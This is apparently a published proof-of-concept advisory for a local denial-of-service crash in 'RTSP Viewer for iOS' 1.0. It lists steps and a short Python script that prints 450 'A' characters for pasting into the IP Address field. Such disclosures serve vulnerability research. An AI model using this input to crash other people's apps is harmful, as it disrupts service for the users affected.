RTSP For iOS 1.0 Denial Of Service

`# Exploit Title: RTSP for iOS 1.0 - 'IP Address' Denial of Service (PoC)  
# Author: Luis Martinez  
# Discovery Date: 2020-08-03  
# Vendor Homepage: https://appadvice.com/app/rtsp-viewer/1056996189  
# Software Link: App Store for iOS devices  
# Tested Version: 1.0  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: iPhone 7 iOS 13.5.1  
  
# Steps to Produce the Crash:  
# 1.- Run python code: RTSP_Viewer_for_iOS_1.0.py  
# 2.- Copy content to clipboard  
# 3.- Open "RTSP Viewer for iOS"  
# 4.- Touch the screen  
# 5.- Clic add (+)  
# 6.- Name > "l4m5"  
# 7.- Paste ClipBoard on "IP Address"  
# 8.- Clic Back  
# 9.- Message save is successed > OK  
# 10.- Click created connection (AAAA...)  
# 11.- Crashed  
  
#!/usr/bin/env python  
  
buffer = "\x41" * 450  
print (buffer)  
`